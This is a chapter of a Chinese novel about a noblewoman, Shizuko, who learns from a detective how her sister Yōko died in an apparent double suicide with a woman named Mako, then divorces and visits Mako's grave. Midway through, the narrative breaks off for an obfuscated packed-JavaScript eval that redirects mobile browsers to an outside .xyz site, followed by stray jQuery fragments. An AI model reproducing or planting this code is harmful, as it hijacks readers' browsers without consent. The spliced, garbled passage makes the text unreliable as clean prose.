初夏时节。


    热血刑警小坂史郎今天一整天都心事重重，终于被看不过去的前辈拍着肩膀劝慰。


    “负责调查真相是你我的本分，但是否决定报道是记者的职责。我知道你有很强的正义感，但别钻牛角尖了。惹恼了上头的大人物可吃不了兜着走。”


    “我知道了，谢谢前辈。”


    下班时分，警察署忙碌一天的警员们一面庆幸着今天没有新的大案发生，一面热烈地勾肩搭背探讨着今晚去哪里聚餐。但一向于此活跃的小坂史郎今天破天荒地没有加入其中，而是早早地收拾更衣，套上斗篷提着包离开了警署。


    他今晚与人有约，但并非与女友约会，而是一次秘密的特殊会面——虽然对象的确也是女性。


    晚上七时，小坂史郎走进了银座的一家老牌高档咖啡厅。


    一位美丽却憔悴的贵妇人坐在靠窗的卡座等他。她身形略丰满，留着妩媚的手推波，斜插一支琥珀色的扇形雕花玳瑁簪，穿着剪裁考究的缎面洋服，有一张如珍珠般圆润晶莹的脸。化着香气袭人的淡妆，眼皮却浮肿，额上爬着细纹。小坂史郎走过去，朝她脱帽致意，深深鞠了一躬。


    “秋月夫人，您好。”


    “请坐。您想喝点什么？”


    “和您一样的牛奶咖啡就好，谢谢。”


    两人沉默地等着侍应生端来第二杯咖啡。小坂史郎匆忙地喝一口润润嗓子，拿出包里的记事本，翻到密密麻麻记录的最新一页。


    “现在请告诉我，关于阳子的死，到底是谋杀，还是殉情？”


    “虽然两个人的死亡时间有差异，但警方的最终判断是殉情。”他开始对照记录耐心地解释，“事发当天早上，有人在东京站目睹阳子和真子一起坐上火车。从时子小姐那里得到的证言是，两张单程票是阳子托付她买的，不排除阳子小姐此时已经有一去不回的觉悟。”


    “那么，为什么瓶子里的安眠药会浓度不同？就不能是……真子先杀阳子再自杀么？”


    “这个……说老实话，因为两人都没有留下任何遗言，我说不好。但是，您愿意听听我不成器的推理吗？”


    “请说吧。”


    “鉴于安眠药由真子准备，或许一开始只有对自己的死志吧？对于阳子小姐以贵族千金的立场一同赴死，她的内心恐怕也游移不定着，因此特意在给阳子的饮料里加入了较少分量的药物，甚至怀以沉重的爱意，心中矛盾地期盼对方最终被救活也说不定……但是，因为做得太草率被阳子看穿，要求交换了饮料。两个人同时喝下，却因为药量的不同而产生死亡的时间差。以上，这是我不成器的一点推测。”


    “我明白了。”静子疲惫地朝后倒去，上半身陷进柔软的皮质靠背里，克制着感情喃喃自语，“为什么……究竟为什么走到这一步——”


    “或许，人与人之间情感也好牵绊也好，有时并不是言语能解释清楚的。”


    小坂史郎不知道该如何劝慰下去。在静子面前，他隐瞒了许多没有说的细节，包括田边家地板下的男尸、被仔细收在箱底的信件、两人已经高度腐烂却仍然如螃蟹钳般紧握的双手——虽然这是他第一次直面同性心中，那安详微笑的面容却与从前那些殉情的男女们没什么两样。每张脸拼命向世人展示自己多么幸福，比起许多布偶似的活人要更栩栩如生。


    幸福到一句留给家人的话都不用讲。是已经没有话要说还是无法宣之于口，已经不得而知了。


    “总之，谢谢你告诉我可能的真相。”


    “但是，案件真相是否会公诸于世，要看报社那边……”


    “此事不会见报。就算真的登报，也只会以一方谋杀而非心中的立场公开。”


    “夫人，您——”


    “无需在意。你调查到这种程度，已经很好了，解决了我心中的疑惑。给你添麻烦了。”


    “……请您节哀。还有什么事能帮到您吗？”


    “……”


    静子闻言缓缓抬头，仿佛花了许多时间才下定了说出口的决心。


    回到秋月宅邸的静子换了家常衣服来到二楼夫妻的起居室，一开门就见秋月正晴端坐在长沙发正中央，面无表情地盯着她。女佣自知气氛不妙，为女主人端来一壶暖身的热茶便飞快退下。


    对丈夫那过分冷淡的态度，现在的静子已经见怪不怪，朝他微微颔首：“您已经回来了。”


    “你上哪儿去了？”


    “关于阳子的事……稍微咨询了一下警方。”


    “唔。”


    “父亲大人已经关照过了，此事不会闹大。请您不要担心——”


    “静子，我有事想对你说。”


    “嗯？”


    “我们离婚吧。”


    静子眼前一阵恍惚，手扶着墙边高柜才差点没跌倒。而秋月正晴站起身朝她逼近，却没有要扶的意思，像一尊冰凉毫无温度的石像。


    “您这是怎么了？”


    “很遗憾……但这是母亲的意思。”


    秋月正晴的视线缓缓扫过她平坦的小腹，静子立即就明白了对方的考虑，仿佛想起什么而突然开口：“您是打算把养在白山的私生子接回这个家来吧？”


    “你怎么知道的？”


    “多少有所耳闻。”


    “……其实，这也是母亲……”


    “我知道了。我会仔细考虑的。”


    男人眼中飞快闪过一丝不可置信，仿佛妻子的冷淡反应在她意料之外。但他最终还是沉默着走出了房间，什么多余的话也没留下。


    随便找借口离开发妻，将花街的私生子与艺伎接回家中扶正，在这个时代的华族高层中并不少见，甚至习以为常。“毕竟是崇尚自由恋爱的年代嘛”，他们如此嬉皮笑脸地说道。


    ——这也没什么大不了。


    静子如此自我暗示着，端着造型精美的茶杯坐在丈夫刚刚坐过的位置上，那里还残余着热度。但那热度并不能慰藉人心，很快就消弭于无形。


    直到喝完一整杯茶，她才开始后知后觉地意识到自己对“离婚”之事的冷淡。这冷淡并非贤良式的顺从，更近乎事不关己的冷漠。强烈的自我支配着她从这桩貌合神离的婚姻中从容退让——仿佛她来到这个家、来到秋月侯爵府只是短期的做客而已。


    必须承认的是，静子此时满脑子都是阳子的死讯。她第一次被自身的意志支配着，全身心地探究着妹妹死亡的真相，过分专注而忽略了旁人的想法。


    数日后的《朝日新闻》早报社会版，刊出了“月见山庄谋杀疑云”事件一则。正如静子所预料的那样，真相被潦草地归于无人知晓的黑暗中——待出阁的华族少女和娼妇殉情，光是标题就带着有望大卖的足够冲击力。但相较维护绫小路家岌岌可危的颜面，耸人听闻的事实并不重要。


    得知这个消息时，静子刚与秋月正晴办理完离婚手续，回家收拾行李。宅邸内气氛


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15847211|172132||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    压抑，侯爵夫人独自坐在一楼大厅里喝茶看报纸，静子则在房间里一语不发地指挥女佣将衣服与帽子一件件整理好，放进衣箱。


    秋月时子抱着女儿，状似随意地走了进来。她怀里的彩有着和时子相似的耷拉眼角，懒洋洋的睡不醒模样十分惹人怜爱。但全身心投入在照顾女儿身上的时子并未显出任何疲态，反而因为爱意有了投注对象而愈发显出顾盼生姿的成熟之美，完全脱去了昔日的娇纵之气。


    “需要我帮忙吗？”


    “不用了。”


    “……我看到绫小路家的马车已经停在门口了。”


    “谢谢告知。”


    “之后可以再叫静子小姐来吗？”


    “……什么？”


    “我说，如果之后有茶会或者宴席什么的……如果我邀请，您会来吗？”


    “谢谢时子小姐的好意……如果有空的话。”


    时子并未再多话，只是站在门边看静子完成行礼打包，一路将对方送上马车。两人隔着车窗简短地挥手道别，最后留给时子的是静子那仿佛终于解脱的释然笑意——无论家中其他人怎么想，绫小路静子还是彩名义上的母亲，她想。


    在流言纷扰中，回到家的静子不咸不淡地过着深居简出的日子，偶尔应时子的邀约出门赴宴。因为她的失败婚姻与阳子的死，绫小路一郎仿佛一夕之间老了十岁，变得脾气愈发暴躁敏感。唯一庆幸的是，有莲乃夫人侍奉在旁，她再也无需代行母职。


    直至某日，她接到了来自警察署的一个电话。


    “我知道了，谢谢您。”


    静子放下电话，叫了一辆马车出门，先去附近的花店拿了早些天定的一束悼念花，白百合与绿菊扎成，式样大方简素。


    但马车并未驶向绫小路家的墓园，而是来到了近郊的一处无名墓场。这里所葬的都是无法埋入家族墓地的孤苦无依者。静子压低帽檐悄悄走进墓场，在守墓人指引下踏上长阶，来到角落的一座新坟前。刚刚修葺不久，坟前的泥土还泛着湿润的色泽。


    静子在碑前放下花束，用手帕拭去碑上的一层薄薄尘土，默默双手合十——尽管她内心深处还残存着对眼前埋葬之人的恨意，却丝毫未在面上显露。死者为大，她所做的也只有在这僻静的无人处道出那么一丝体面之下的真心。


    “真子小姐，你带走了阳子，我是不会原谅你的。”


    “但是，又忍不住有点儿羡慕你，是怎么得到阳子的心的？从前我不懂阳子，现在依然不理解。但你一定比我更知道她在想些什么。对吧？”


    “还有，你可真是个心狠手辣的坏女人。”


    离开墓园的绫小路静子擦干了眼泪，平静地朝车夫说出了自己要去的下一个地址。


    马车向西驶去，经过一个多小时的颠簸，来到了那所基督教辖下的养育院。不同于真子来时的荒凉，此时此刻养育院的铁门敞开，两个修女模样的妇人牵着一个走路晃晃悠悠的小女孩，在门边等候着远道而至的贵客。


    马车的哒哒声由远及近，最终稳稳停在正门口。小小的青枝睁大了溜圆的双眼，好奇地东看西看。车夫打开车门，戴着黑色钟形面纱礼帽的贵妇人被小心搀下车。


    修女们朝她点头示意，而静子一眼就看见了中间的小女孩那不谙世事的天真脸庞。女孩那澄澈的眼眸未经世俗污染，羞怯地朝她笑笑，露出一排参差不齐的牙。静子那被冻僵的心涌起一阵酸苦，忍不住潸然泪下。